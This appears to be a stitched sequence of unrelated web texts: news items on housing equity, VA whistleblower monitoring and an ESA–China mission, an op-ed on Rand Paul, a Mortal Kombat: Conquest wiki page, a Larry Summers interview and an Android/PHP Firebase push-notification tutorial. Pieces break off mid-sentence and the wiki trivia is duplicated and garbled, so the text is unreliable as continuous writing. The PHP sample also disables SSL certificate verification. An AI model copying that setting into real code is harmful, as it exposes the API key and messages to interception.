"There was so little room (in the cell), and it was dark, with no power. It was summer and it was so hot," she says, explaining they were given bread and cheese in the morning, and rice or macaroni at night, "Just a little bit, and we were starving."
Later, Zeinat says, they were moved to a house belonging to Abu Sayyaf, a high-ranking ISIS fighter who U.S. officials say was in charge of ISIS's substantial oil revenues |
in the Sacramento metro area ($78,539); San Francisco County, California ($77,411); Orange County, California, in the Los Angeles metro area ($74,268); and Shasta County (Redding), California, ($70,806), according to RealtyTrac, which partnered with Down Payment Resource for the report.
While down payment assistance can help some, the real relief will only come from more homes for sale, and so far the market isn't seeing them. Homebuilders are still producing at well-below historical norms, never mind the years of pent-up demand from buyers. Adding to the crunch is a large share of buyers who are still underwater on their mortgages.
While 268,000 borrowers came back into the black in the first quarter of this year, thanks to rising home values, 4 million are still in a negative equity position on their mortgages, owing more than the homes are worth, according to CoreLogic. This, even as home equity rose by a collective $762 billion in the first quarter. It just shows how far the housing market fell, and how much it still has to recover.
"In just the last four years, equity for homeowners with a mortgage has nearly doubled to $6.9 trillion," said Frank Nothaft, chief economist at CoreLogic. "The rapid increase in home equity reflects the improvement in home prices, dwindling distressed borrowers and increased principal repayment. These are all positive factors that will provide support to both household balance sheets and the overall economy."
Nevada has the highest percentage of so-called underwater homes at 17.5 percent. Florida and Illinois follow. Texas has the highest percentage of homes with positive equity at 98 percent; that is likely because Texas' housing market did not suffer nearly as badly as the rest of the nation during the housing crash, due to stricter mortgage rules in the state.The Department of Veterans Affairs may be in total violation of Office of Special Counsel (OSC) policy not to use monitoring technologies to retaliate against whistleblowers.
The Washington Examiner reported last week that the department has maintained a secret list of whistleblowers, whose emails are all being covertly forwarded to the office of Robert McDonald, the Secretary of the VA, for observation.
The Office of Special Counsel, an agency which investigates federal government whistleblower complaints, anticipated this practice of spying all the way back in 2012 and instated a policy to nip it in the bud.
“We strongly urge executive departments and agencies (agencies) to evaluate their monitoring policies and practices, and take measures to ensure that these policies and practices do not interfere with or chill employees from using appropriate channels to disclose wrongdoing,” Carolyn Lerner, head of the OSC, wrote in the memo.
Lerner also reiterated the policy in an interview with The Washington Post a week after the OSC issued the memo, saying, “We are also doing our best to get the word out to all government agencies that whistleblower retaliation in any form is unacceptable and against the law. For example, I recently sent a memo to all federal agencies explaining that it is retaliatory and unlawful to monitor the communications of an employee because that employee has engaged in whistleblowing.”
The reason targeting with monitoring technologies is dangerous is because it undermines the ability of whistleblowers to disclose serious problems in the federal government.
Further, Lerner also added that monitoring communication of VA employees with the OSC or the inspector general was highly suspect. But according to one whistleblower, after he reached out to Congress and met with congressional staff, he was immediately placed on leave without pay.
In other words, that memo does not appear to have dissuaded the VA. The list of monitored whistleblowers was labeled “Sec Divert Internal.” Officials at the department immediately scrambled for a response, stating that the reason the office was reading all whistleblower emails was so that the department could more readily address their concerns.
“As part of the Secretary’s commitment to changing the culture of VA to provide better customer service to Veterans and to empower employees, because it is their work that makes VA better for our veterans, certain emails received by the secretary and deputy are immediately forwarded to VA’s client relations team for priority review and quick action,” a VA spokesperson told The Washington Examiner.
Whistleblowers didn’t buy the department’s explanation for a second.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.designwise, with a couple of art walls that captured my heart. I shared with you yesterday, in this post, how badly I want an impressive wall in my dream living room, filled with multiple curated art prints, varying from typographic artworks, drawings, photography e.t.c. Well, count these two on my wishlist too.
And now the fun part of the post. A celebration. And a. Janee of Yellow Bird + Yellow Beard is having her 3rd blogiversary today and gathered a bunch of great bloggers to celebrate this event with a ginormous giveaway. One lucky winner is about to get ato spend on a store of their choice from Target Etsy or Amazon. The best thing is that the giveaway is open worldwide and there are many many entries to take advantage of. You can use the Rafflecopter gadget below to enter.Please enable Javascript to watch this video
CHICAGO – Chicago Cubs fans are famous throughout baseball, but for a group of strangers in the bleachers, Monday’s NLDS game was about more than just the win.
Lauren Hinkston Hintzsche was at the game with her husband and posted a moving story of the kindness of Cubs fans during the game:
Even though the Cubs win was just awesome, this story tops a win anytime in my book…. An older couple sat next to John and I in the bleachers. They have season tickets up behind the plate but after conversation found out that this is where their playoff tickets were.
She continues:
Anyone who has sat in the bleachers knows that even on a good day, the bleachers can be tough to navigate.
As the group began to chat with one another, “because you know in the bleachers we are all one big happy family,” Lauren says, a set of brothers also began to chime in.
One lives in Chicago and the other lives in San Diego and flew in to hang out with his brother.
The brothers were also very helpful to the older couple.
They noticed right away that the older gentleman was having a tough time and had helped him down the stairs to sit in their seats. (Assigned bleacher seats during the play offs, who knew?) … During the game they would help the older gentleman stand when the crowd stood and the one guy stayed seated at times so this gentleman could see the game.
The older couple also caught Lauren’s eye for their compassion.
During the game, this older couple held hands, he patted her knee and she helped him stand when there were exciting plays. … About the 3rd inning she leaned over to me and said "he's going thru chemo right now. We have done about everything else we can do and this is the last step." At one point the older gentleman leaned over to his wife and said " I just love this!"
It was very emotional for Lauren and meant a lot to her to witness both the couple and the brothers.
At the end of the game, these 2 awesome guys made sure the older gentleman made it up the stairs with no problems. I gave both of those guys big hugs and thanked them for their generosity! With all the crap going on in the world, I felt this was a story I had to tell.
Lauren's post has been shared over 1900 times.Bad news, everyone: the giant 42-player Civilization V game that was turning into the most enjoyable spectator sport of 2015 (at least for me) has broken down, crushed by the weight of its own awesomeness.
A few days back the entire game—which as a reminder is an AI-only, 42-player showdown of absolutely epic proportions—ground to a stuttering halt. Many had long feared this day would come: the thought of that many civs moving that many units sent shivers down my PC's spine (indeed, it's reported that before the end the game was taking twenty minutes just to load, there were so many units and cities on the map).
For 11 days, though, everything went well: there were updates, maps, status reports and even gifs like the one below showing how the war was coming along.
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But then, on day 12, it happened. On turn 239, the game crashed during Japan's turn, with the suspected cause being that leader Tojo was building more naval units in a single turn than the game could manage.
Despite the best efforts of organiser TPangolin, and some charitable folks donating new PC hardware for him in the hopes of speeding up debugging (and game performance), the game has failed to return from the dead.
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Its only hope now is that the Battle Royale's save files are in the hands of 2K support (2K published Civ V), who will take a look at the cause of the breakdown and hopefully fix it. But given the scale of the game, and the fact it was using mods, you shouldn't hold your breath.
If the doctors at 2K can fix it, awesome! If they can't, you can read up on recaps of how everything went down here.Not so fast, everybody. Rand Paul can't abruptly disavow the extremist views on civil rights that he's been espousing for years and expect us all to just move along. Was he lying then? Is he lying now? Or has the Tea Party movement's newly crowned Mad Hatter changed his mind?
Republican crisis managers wisely didn't allow Paul to stray within range of the Sunday talk shows, but they can't keep him hidden away in some Kentucky cave until November. Sooner or later, the Senate candidate is going to have to answer a direct question: Was he being untruthful on the occasions when he said the federal government has no authority to outlaw racial discrimination in private businesses such as restaurants? Or is he being untruthful now in claiming he would have voted for the Civil Rights Act of 1964?
Actually, there are quite a few direct questions that Paul will be asked. Does he still believe it ought to be permissible to deny Americans access to housing because of the color of their skin, as he argued a few years ago? I have a personal stake in this one, since I live in a neighborhood where a legal covenant once kept African Americans out. Is this sort of thing cool with him?
I'd also like to know whether Paul really believes in a conspiracy among the U.S., Canadian and Mexican governments to turn North America into a "borderless, mass continent" bisected by a 10-lane superhighway. Because that's what he said in 2008.
"It's a real thing," he said of the imaginary threat to U.S. sovereignty, "and when you talk about it, the thing you just have to be aware of is that if you talk about it like it's a conspiracy, they'll paint you as a nut."
Very little paint is needed.
And while we're at it, what about Paul's recent analysis of the catastrophic oil spill in the Gulf of Mexico? The Obama administration faces growing criticism for not being tough enough on BP for its failure to stop the gushing flow of crude that is fouling Louisiana's ecologically sensitive coastal marshes. Paul, however, sees things differently. "What I don't like from the president's administration is this sort of, 'I'll put my boot heel on the throat of BP,' " Paul said. "I think that sounds really un-American in his criticism of business."
The "un-American" part is consistent with the campaign by Republican cynics and Tea Party wing nuts to delegitimize Obama's presidency. But the general idea -- that it's wrong to hold private firms strictly accountable for disasters such as the gulf spill -- appears to be something that Paul really believes, since he also dismisses the recent West Virginia mine explosion in which 29 miners were killed.
"We had a mining accident that was very tragic," he said. "Then we come in, and it's always someone's fault. Maybe sometimes accidents happen."
But maybe accidents are less likely to happen when appropriate safety standards are established and enforced. This kind of cause-and-effect reasoning is meaningful only to those who live in the real world, however. From all evidence, Paul lives in Libertarian La-La Land, where a purist philosophy leads people to believe in the purest nonsense.
Now that he is running for the Senate as a card-carrying Republican, Paul is going to have to abandon, or pretend to abandon, many of his loopy beliefs. This won't be easy, as illustrated by the hemming and hawing he did before finally endorsing the Civil Rights Act. Even then, he suggested that the law was justified only by the prevailing situation in the South. As soon as Paul is allowed out of his cave, someone should ask him whether the landmark legislation properly applies to the rest of the country.
Sarah Palin accused reporters of practicing "gotcha" journalism in seeking to elicit Paul's views. As we know from the 2008 campaign, Palin's definition of a "gotcha" interview is one in which actual questions are asked. But think about it: Did anyone imagine that the Republican Party could field a candidate who makes Sarah Barracuda sound like the voice of reason?
Republican National Committee Chairman Michael Steele wouldn't have been eligible to move to my neighborhood, either, if Paul's view had prevailed. On Sunday, Steele ventured that Paul's philosophy is "misplaced in these times" -- but also said he "can't condemn" it.
That's pathetic, Chairman Mike. Rand Paul can't have it both ways. Neither can the GOP, and neither can you.
The writer will be online to chat with readers at 1 p.m. Eastern time Tuesday. Submit your questions and comments before or during the discussion.China and the European Space Agency will work together on a robotic space mission in the near future, and launched a call for ideas on Jan. 19, 2015 on what that mission should be.
China and Europe aim to launch a joint space-science mission by 2021.
On Monday (Jan. 19), the Chinese Academy of Sciences (CAS) and the European Space Agency (ESA) issued a call for proposals for a robotic space mission that the two organizations will develop jointly.
"The goal of the present Call is to define a scientific space mission to be implemented by ESA and CAS as a cooperative endeavor between the European and Chinese scientific communities," ESA officials wrote in a statement Monday. "The mission selected as an outcome of the present Joint Call will follow a collaborative approach through all the phases: study, definition, implementation, operations and scientific exploitation." [Latest News About China's Space Program]
All proposals must be signed by two lead investigators, one based in Europe and the other in China, ESA officials said. Proposals are due by March 16, and the peer-review process will start in April. Mission selection is expected to occur in late 2015, followed by six years of development, with a launch in 2021.
The call envisions a low-budget mission, saying that ESA and CAS are each prepared to contribute about 53 million euros (U.S. $61.5 million at current exchange rates). The spacecraft must weigh less than 661 lbs. (300 kilograms) at launch and be designed to operate for at least two to three years, ESA officials wrote in the call for proposals.
ESA has a long history of collaboration with other space agencies. For example, the agency has worked extensively with NASA over the years on a number of efforts, including the International Space Station, the Hubble Space Telescope and the Cassini-Huygens mission to Saturn.
ESA is also working with Russia on the ExoMars mission, which aims to launch an orbiter and a life-hunting rover to the Red Planet in 2016 and 2018, respectively. (NASA was Europe's original partner on ExoMars but pulled out in 2012 due to budget issues.)
The 2021 mission won't be ESA's first collaboration with China, either. For instance, the European/Chinese Double Star mission launched two satellites to Earth orbit in 2003 and 2004 to study the planet's magnetosphere. Double Star remains operational today.
The new call for proposals grew from two 2014 workshops that promoted cooperation between Chinese and European scientists. (One of the workshops was held in China in February, the other in Denmark in September.) ESA and CAS officials released a "pre-announcement" of the call on Nov. 28.
Follow Mike Wall on Twitter @michaeldwall and Google+. Follow us @Spacedotcom, Facebook or Google+. Originally published on Space.com.The Movie Geeks celebrate the works of one of our greatest cinematic masters: Stanley Kubrick.
In this fifth installment, special guests including actor and Kubrick’s long-time personal assistant Leon Vitali, Steadicam inventor Garrett Brown, biographer Vincent LoBrutto, assistant director Brian W. Cook, film critics Tony Macklin, Glenn Kenny, Keith Uhlich, and Robert Castle, personal assistant Tony Frewin, Stephen King authority and author Tony Magistrale, authors Randy Rasmussen, R. Barton Palmer, Geoffrey Cocks, and Mario Falsetto, film professors Daniel Shaw and Steve Mamber, author and filmmaker Jay Weidner, ABC News reporter Bill Blakemore, Warner Bros. marketing head Don Buckley, filmmakers Rodney Ascher and Tim Kirk, cameraman Larry Smith, director Matt Reeves (Cloverfield), film analysts John Krysko and John Fell Ryan, Movie Geeks United! host Jamey DuVall and co-hosts Jerry Dennis, Chris Whetton and Aaron Aradillas investigate the horror classic The Shining.
Visit The Kubrick Series website for more information on the series and to listen in on previous episodes.By Laura Barron-Lopez
Roll Call Staff
Even as corporate America becomes a more gay-friendly place, gay and lesbian employees on Capitol Hill say they still worry about a lack of legal protection against discrimination, vulnerability during heated political battles and whether to be open with their co-workers about their sexual orientation.
To deal with these issues, a group of gay staffers restarted the LGBT Congressional Staff Association last year after it had been dormant for the past few years.
The group has 71 members, but many choose to keep their participation confidential. Although it's officially bipartisan, membership skews toward Democrats, and most are men. Of the handful willing to talk with a reporter, only one was a Republican.
"[I have] never felt excluded. In fact, because I am maybe the only, or one of a few, Republican members, they have been even more welcoming," said Andrew Powaleny, deputy press secretary for the House Energy and Commerce Committee. "They have been excited to have Republican support in the group."
At the same time, Christopher Hoven, administrative assistant to Rep. Adam Schiff (D-Calif.), says he has faced discrimination and verbal taunts on the Hill since coming out in 1989.
Members of the group say they've seen some progress. There are now four openly gay Members of Congress: Democratic Reps. Tammy Baldwin (Wis.), David Cicilline (R.I.), Jared Polis (Colo.) and Barney Frank (Mass.). While Frank, the first Member to come out willingly, is retiring at the end of the next session, Polis recently became the first gay Member to become a parent and Baldwin is now running for the Senate.
A primary concern for many gay staffers is that they are not protected by anti-discrimination laws. The Office of Compliance protects Hill staffers against discrimination based on race, color, religion, sex, national origin, age and disability, but not sexual orientation, said Debra Katz, an attorney who focuses on employment discrimination.
Judith Glassgold, senior policy adviser for Rep. Sander Levin (D-Mich.) and a member of the association, noted that she had more protection when she worked as a clinical psychologist and professor at Rutgers University.
"Here on the Hill, we have fewer protections than I did in New Jersey," Glassgold said.
In almost half of the states, private-sector workers are protected against sexual-orientation discrimination.
Staffers who work for the executive branch also have more protection than their Hill counterparts under the Office of Special Counsel.
During the George W. Bush administration, Special Counsel Scott Bloch interpreted the civil service law to protect employees' off-duty conduct but not to offer legal protections based on sexual orientation as a class.
Under the Obama administration, the OSC has reverted to an earlier interpretation that protects employees based on sexual orientation. The office has fielded 20 complaints of discrimination since 2009.
Glassgold said she knew about the lack of legal protection when she came to work on the Hill and made sure she chose an office that was accepting of her personal life.
"The Hill is a strange place," she said. "I feel for my Republican colleagues whose Members may not be supportive of gay rights and [in] whose districts there might be tensions around those issues."
Powaleny said that concern is misplaced.
"As far as being gay on the Hill, it has not even been an issue at all," he said.
The Republican Party is a "big tent" that welcomes gay and lesbian voices, Powaleny said, arguing that there is no political reason why more GOP staffers are not open about their sexual orientation.
"I'd suspect that the reason someone doesn't come out sooner has more to do with a personal decision rather than political affiliation," he said.
Chris Fisher, legislative assistant for Rep. Ted Deutch (D-Fla.), said it is those personal questions that plague staffers the most.
"How is my boss going to react when my boyfriend shows up at the Christmas party?" he said. "Is that going to be OK with the chief of staff? What if I have [a legislative director] that isn't comfortable with members of the community?"
Still, he and others say that while coming out might be personally difficult, it benefits the broader gay community by helping break down barriers.
Ken Mehlman, campaign manager for President George W. Bush's 2004 re-election campaign and former Republican National Committee chairman, came out after leaving the political world. In interviews, he later said he wished he had come out sooner, as it may have helped push his party in another direction on some LGBT issues.
Fisher said he hopes all gay and lesbian staffers will one day be able to be open about their personal lives at work.
"In my exit memo, should I ever leave this office, I would say to staffers, 'You know it's OK to bring your significant other to the Christmas party, it is OK to come out to your boss,'" he said.
Copyright CQ Roll Call, Inc. All materials herein are protected by United States copyright law and may not be reproduced, distributed, transmitted, displayed, published or broadcast without prior written permission of CQ Roll Call.Overview Gallery Episodes
Mortal Kombat: Conquest was a television program TV series which aired from 1998 to 1999. The series is based on the fighting game series Mortal Kombat and acted as a prequel to the first Mortal Kombat film. Conquest was canceled after just one season (22 episodes).
Contents show]
Show Summary
In a dark and mythical re-telling of classic tale of good versus evil, the TV series 'Mortal Kombat Conquest' follows the fierce warrior Kung Lao and his comrades Taja and Siro on the their quest to protect the earth realm from falling under the control of the evil conqueror of realms Shao Kahn, ruler of the Outworld. Vital to the survival of mankind are warriors who can compete in Mortal Kombat. While combatants from Outworld have magic and darkness on their side, fighter from the Earth Realm have only their strength, both physical and mental, and belief that their cause is just and right.
Will good triumph over evil?
In Mortal Kombat Conquest it will not.[1]
Plot summary
"In each of us there burns a soul of a warrior. In every generation a few are chosen to prove it. Centuries ago, in a time of darkness and fury, that fate befell three strangers. A monk Kung Lao, an exiled guard Siro and a thief Taja who have to defend our earth realm from the forces of Outworld. By fighting for their lives, by fighting for their honor and by fighting for their realm. In a tournament called Mortal Kombat."
Many millennia ago, the Earth was a young and desirable planet. Powerful and rich with natural resources, the vicious megalomaniac, Shao Kahn wanted Earth as part of his growing collection of conquered realms known as Outworld. To protect the Earth (Earthrealm) from Shao Kahn, Mortal Kombat - a tournament in which the fate of the planet is decided in battles between competitors from Earthrealm and Outworld - was created. Five-hundred years in the past, the monk warrior, Kung Lao defeated Shao Kahn's sorcerer, Shang Tsung in Mortal Kombat. When Kung Lao spared his life, Kahn imprisoned Tsung in the cobalt mines.
Kung Lao now had to train the next generation of warriors, who would give their lives to save the Earth. Kung Lao creates a partnership and friendship with two warriors: Siro, a former bodyguard and Taja, an ex-thief. In the dark and mysterious city of Zhu Zin, Kung Lao and his new friends are guided and watched over by the thunder god, Raiden. The three now battle various assortments of evils of both Outworld and Earthrealm, including an imprisoned Tsung, who swore eternal revenge on Kung Lao for his humiliating defeat and his ally; the sultry and seductive Vorpax who is also imprisoned in the cobalt mines and has an agenda of her own.
Characters
Main characters
Recurring characters
MK game series characters
Mortal Kombat Conquest Episode List
Mortal Kombat: Conquest Episodes
Trivia
In the episode " Debt of the Dragon ", the Black Dragon organization is featured.
", the Black Dragon organization is featured. The episode " The Serpent and the Ice " featured a cameo by Smoke in the very last scene before the credits. It was spoken by the Lin Kuei master that he would hunt down the now rogue Sub-Zero. This storyline never came into play, possibly because the show was cancelled prematurely.
" featured a cameo by Smoke in the very last scene before the credits. It was spoken by the Lin Kuei master that he would hunt down the now rogue Sub-Zero. This storyline never came into play, possibly because the show was cancelled prematurely. The episode " The Master " features a character named Master Cho. It is rumored that he is the prototype of Bo' Rai Cho.
" features a character named Master Cho. It is rumored that he is the prototype of Bo' Rai Cho. The episode " Unholy Alliance " features an alliance between Shang Tsung and Quan Chi, which is the premise for Mortal Kombat: Deadly Alliance.
" features an alliance between Shang Tsung and Quan Chi, which is the premise for. Former WCW wrestlers Meng and Wrath also made guest appearances.
Guest stars Angelica Bridges, Sung Hi Lee, Dana Hee, Jamie Pressly, Renee Tenison, Kathleen Kinmont, Candace Miller and Suzanne Stokes all posed nude for the adult magazine, Playboy. Another guest star, Eva Mendes, was also featured doing an interview in one issue.
. Another guest star, Eva Mendes, was also featured doing an interview in one issue. Due to budget constraints, the costuming department was unable to afford any bras for the female cast members.
The series originally aired on the WB Network and was later picked up by Turner Network Television, which aired the remaining new episodes as well as broadcasting the previous ones in syndication. The show was very popular, but according to the show's developer, Joshua Wexler, this resulted in higher budget costs for the show than anticipated. The cancellation was not announced at first and rumors of a second season circulated. However, TNT pulled the plug on the show leaving it with a cliffhanger ending. It was said that the last two episodes were a dream Kung Lao had, making what happened not true. The cliffhanger ending would have been resolved in the second season, which would have summed up the series and corresponded with the MK timeline.
and was later picked up by, which aired the remaining new episodes as well as broadcasting the previous ones in syndication. The show was very popular, but according to the show's developer, Joshua Wexler, this resulted in higher budget costs for the show than anticipated. The cancellation was not announced at first and rumors of a second season circulated. However, TNT pulled the plug on the show leaving it with a cliffhanger ending. It was said that the last two episodes were a dream Kung Lao had, making what happened not true. The cliffhanger ending would have been resolved in the second season, which would have summed up the series and corresponded with the timeline. Former QVC model Dorian played the barmaid Magda in the episodes " Twisted Truth " and " Quan Chi ".
" and " ". Martial artist J.J. Perry guest-starred as Sub-Zero in the third episode, " Cold Reality "; ironically, he briefly appeared as Scorpion for a fight scene with Sub-Zero in Mortal Kombat: Annihilation.
guest-starred as Sub-Zero in the third episode, " "; ironically, he briefly appeared as Scorpion for a fight scene with Sub-Zero in. Going by the game and movie story line, MK: Conquest should be taken place some time in the year 1400.
should be taken place some time in the year 1400. This series is the only time where Sub-Zero is shown to have a sister and Raiden is surprisingly more lax than any of his counterparts in the games or film.
"Serpent and the Ice" was considered the best episode of Mortal Kombat: Conquest, which came at no surprise since it features a fight between Scorpion and Sub-Zero, two of the most loved characters in the Mortal Kombat world. The episode also won the prize for best fight, for the reasons quoted above.
DVD Availability
All episodes will be available in one complete set on Region 1, the set will be released on March 31, 2015.Kiyoshi Ota/Getty Images The WorldPost interviewed Larry Summers in the wake of Brexit and the election of U.S President Donald Trump.
Larry Summers is an American economist. He served as chief economist for the World Bank from 1991 to 1993, U.S. treasury secretary from 1999 to 2001 and president of Harvard University from 2001 to 2006. Summers is currently a professor at Harvard and a member of the Berggruen Institute’s 21st Century Council. He recently spoke to The WorldPost about globalization in the era of U.S. President Donald Trump and Brexit.
What are the key policies of a centrist politics that is pro-globalization? In the wake of Brexit and Trump’s election, you have called for a “responsible nationalism” that responds to the needs of those voters. What does that mean in practice?
First of all, some of this is about policies. But some is about the extent to which we are projecting a global attitude that sees everyone in the world as a fellow human being and the extent to which you are projecting a concern for certain people because they are American.
'As a global leader, we have not necessarily displayed the uppermost concern for Americans in our policies.'
As a global leader, we have not necessarily displayed the uppermost concern for Americans in our policies. So, some of it is a matter of what is projected.
I would say these are the most important policies:
A policy of investment in infrastructure; building things that everyone shares and can be proud of. This has the virtue of employing people who are having a tough time in the current economy. It is the best way to provide a general economic stimulus. A trillion-dollar commitment over the next 10 years would be a great step ― paid for by carbon taxes or other measures that are pro-environment. A commitment to monetary policies that create an economy in which we’d face a shortage of workers rather than a shortage of jobs. That creates a more equal leverage between employers and employees, which is the condition for real wage growth for ordinary workers. We don’t even have a central bank that takes a 2 percent inflation target seriously. We’ve gone eight years with inflation nowhere near that. We need to target 2 percent, not just be comfortable with the forecasts of inflation inching minimally up. We need a much greater level of investment in young people and their transition to work. Some of that has to do with the debt burden of a college education. But more importantly, we don’t do anything for people who don’t go to college. They are left to either sink or swim, and mostly they sink. I’m thinking here of the kind of vocational apprentice arrangements that Germany has implemented successfully. We need to reorient our international economic policy toward what benefits people, instead of benefiting the rich and focusing on the priorities of corporations. Why is it that corporate tax loopholes, which mean that ordinary Americans need to pay more taxes, is not a priority? Instead, intellectual property protection for pharmaceutical companies are at the top of the international agenda. U.S. Commerce Secretary Wilbur Ross was recently very proud about getting credit rating agencies into China. Who cares? The shareholders come from all over the world ― and the jobs will be created for Chinese people in China. Why not tackle tax competition, jurisdiction arbitrage and tax shifting instead, all of which allow corporations to avoid their tax obligations. Tax avoidance and tax havens are the clearest example of bad international policy. And international agreement should aim as well at stopping races to the bottom on labor and environmental standards.
This should be the orientation – protecting regular people rather than protecting the interests of the people who know a lot about the international system and how to game it.
Portland Press Herald via Getty Images "We need a much greater level of investment in young people and their transition to work," Summers says.
Right now, when we discuss the global economy, we mainly talk about things that improve “competitiveness” and are painful to the regular worker ― things that are aimed at promoting the interest of companies headquartered in the United States with global scope.
No wonder people don’t like globalism.
Is the greatest threat to jobs displacement and inequality from rapid technological advance or globalization?
It is pretty clearly it is from technology. Manufacturing employment as a share of GDP is substantially less in both Germany and China ― the big surplus export states ― than it was in 1990. So, I don’t see how you can avoid the conclusion that technology is the larger and more fundamental issue. And wealth is concentrating in the big tech companies. We are going to need to find ways of more progressive taxation if there is to be acceptance of the market system as a model. We should be moving toward more progressive taxation.
'If we are going to employ everybody, we’re going to have to find ways of making sure that that work can get done.'
Also, in terms of inequality, I think the idea of wage subsidies should be seriously considered. There is an important distinction between an “earning subsidy” and a “wage subsidy.” In an earned income tax credit, if I earn $20,000, the state gives me $10,000. If I am earning $30,000, the state gives me $5,000. If I earn $50,000, the state doesn’t give me anything and I pay taxes.
A wage subsidy works like this: I earn $8 an hour and the government pays an extra $4 for every hour I work. If I earn $10 an hour, the government gives me $3 dollars. In other words, because it is based on my wage rate, it doesn’t distort my level of effort. It is more complicated to enforce, but more attractive. It is a better alternative to universal basic income where no level of effort is required. I think people want to work.
There are all kinds of important work in our society to do ― such as elderly care, child care, practicing preventive medicine ― for which there is not a readily apparent business model. If we are going to employ everybody, we’re going to have to find ways of making sure that that work can get done.
Kai Pfaffenbach / Reuters 'Manufacturing employment as a share of GDP is substantially less in both Germany and China," the former World Bank economist says.
Another important thing to understand about wages and costs in this context is how the world has changed. If we assume consumer prices at 100 in 1983, the consumer price for a TV in 2017 is much, much less because the technology has improved and made it much cheaper. But the cost of a year of college has skyrocketed ― it is 600 today to compared to 100 in 1983. So, there has been a huge change in relative prices of those two goods.
It is hard to believe in that context that we shouldn’t have more spending by the government to help pay for one ― college costs ― and not the other.
Some have argued that the centrist “third way” politics practiced by you, former U.S. President Bill Clinton and former British Prime Minister Tony Blair failed because of its blind spot on financial deregulation. In retrospect do you think so?
We’ve done a lot with Dodd-Frank in the U.S. and with the various global versions of financial regulatory reform.
There are still problem areas ― shadow banking probably the largest among them. Surely finance was under-regulated before 2008. But I don’t think more regulation of finance is the foremost issue today. The place that had the biggest bubble and biggest crash was Japan ― yet it was and is a highly regulated financial system. They didn’t have derivatives or financial innovation. Continental Europe has a far less financial culture than U.S. or Great Britain, and they have performed worse over recent years.
Before 2008, yes, we should have had more regulation. Is there a fundamental principle around redefining the financial sector as a public utility? I don’t think so.
'There is no question that the center of global economic gravity is moving to the South and East.'
The Chinese see the center of gravity moving to the developing world and are describing a new phase of globalization in which their “Belt and Road” investment in infrastructure initiative boosts that growth to the benefit of the entire global economy. Do you agree with them?
There is no question that center of global economic gravity is moving to the South and East. There is no question that the dislocations associated with trade are greater when the wage rates in the developed world are five to eight times greater than in the developing world. It is a dislocation that wouldn’t take place if you were talking about economies with similar levels of development and wages. We’ve never seen anything quite like China that has a total economy |
below source code
1 2 3 4 Intent intent = new Intent ( this, GotNotificationActivity. class ) ; intent. addFlags ( Intent. FLAG_ACTIVITY_CLEAR_TOP ) ; PendingIntent pendingIntent = PendingIntent. getActivity ( this, 0, intent, PendingIntent. FLAG_ONE_SHOT ) ;
Above code will decide which activity to open when user clicks on Push Notification.
Here GotNotificationActivity will be open. So let’s create GotNotificationActivity.
Create a new activity named GotNotificationActivity and update activity_got_notification.xml as follow:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <? xml version = "1.0" encoding = "utf-8"?> < RelativeLayout xmlns : android = "http://schemas.android.com/apk/res/android" xmlns : tools = "http://schemas.android.com/tools" android : layout_width = "match_parent" android : layout_height = "match_parent" tools : context = "com.exampledemo.parsaniahardik.fcmsingle.GotNotificationActivity" > < TextView android : layout_width = "match_parent" android : layout_height = "match_parent" android : gravity = "center" android : layout_marginLeft = "10dp" android : layout_marginTop = "10dp" android : textColor = "#000" android : textSize = "20sp" android : text = "I opened when you clicked on Notification! " / > < / RelativeLayout >
Developing Server Side(PHP) script to send firebase push notification
Create a new PHP file and name it sendMultipleFCM.php
Add below source code into it
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 <?php if ( $_SERVER [ 'REQUEST_METHOD' ] == 'POST' ) { // echo $_SERVER["DOCUMENT_ROOT"]; // /home1/demonuts/public_html //including the database connection file //include_once("config.php"); $serverAPIKey = $_POST ['serverapi' ] ; define ( 'FIREBASE_SERVER_KEY', $serverAPIKey ) ; // echo FIREBASE_SERVER_KEY;exit; $selection = $_POST [ 'isImage' ] ; // echo $title.$selection;exit; //first check if the push has an image with it if ( $_POST [ "isImage" ] == "Yes" ) { $serverAPIKey = $_POST ['serverapi' ] ; $reg_token = $_POST [ 'token' ] ; $reg_token2 = $_POST [ 'token2' ] ; $title = $_POST [ 'title' ] ; $message = $_POST ['message' ] ; $image = "https://demonuts.com/Demonuts/JsonTest/Tennis/uploadedFiles/popey.jpg" ; } else { //if the push don't have an image give null in place of image $serverAPIKey = $_POST ['serverapi' ] ; $reg_token = $_POST [ 'token' ] ; $reg_token2 = $_POST [ 'token2' ] ; $title = $_POST [ 'title' ] ; $message = $_POST ['message' ] ; $image = "no" ; } //firebase server url to send the curl request $url = 'https://fcm.googleapis.com/fcm/send' ; //building headers for the request $headers = array ( 'Authorization: key='. FIREBASE_SERVER_KEY, 'Content-Type: application/json' ) ; //Initializing curl to open a connection $ch = curl_init ( ) ; //Setting the curl url curl_setopt ( $ch, CURLOPT_URL, $url ) ; //setting the method as post curl_setopt ( $ch, CURLOPT_POST, true ) ; //adding headers curl_setopt ( $ch, CURLOPT_HTTPHEADER, $headers ) ; curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ) ; //disabling ssl support curl_setopt ( $ch, CURLOPT_SSL_VERIFYPEER, false ) ; $gcmRegIds = array ( $reg_token, $reg_token2 ) ; // $gcmRegIds = array($reg_token); // print_r($gcmRegIds);exit; // $messagearray = array("message" => $message, "title" => $title, "image" => $image); $messagearray = array ( ) ; $messagearray [ 'data' ] [ 'title' ] = $title ; $messagearray [ 'data' ] ['message' ] = $message ; $messagearray [ 'data' ] [ 'image' ] = $image ; //adding the fields in json format $fields = array ('registration_ids' = > $gcmRegIds, 'data' = > $messagearray, ) ; curl_setopt ( $ch, CURLOPT_POSTFIELDS, json_encode ( $fields ) ) ; //finally executing the curl request $result = curl_exec ( $ch ) ; if ( $result === FALSE ) { die ( 'Curl failed: '. curl_error ( $ch ) ) ; } header ( "Location: 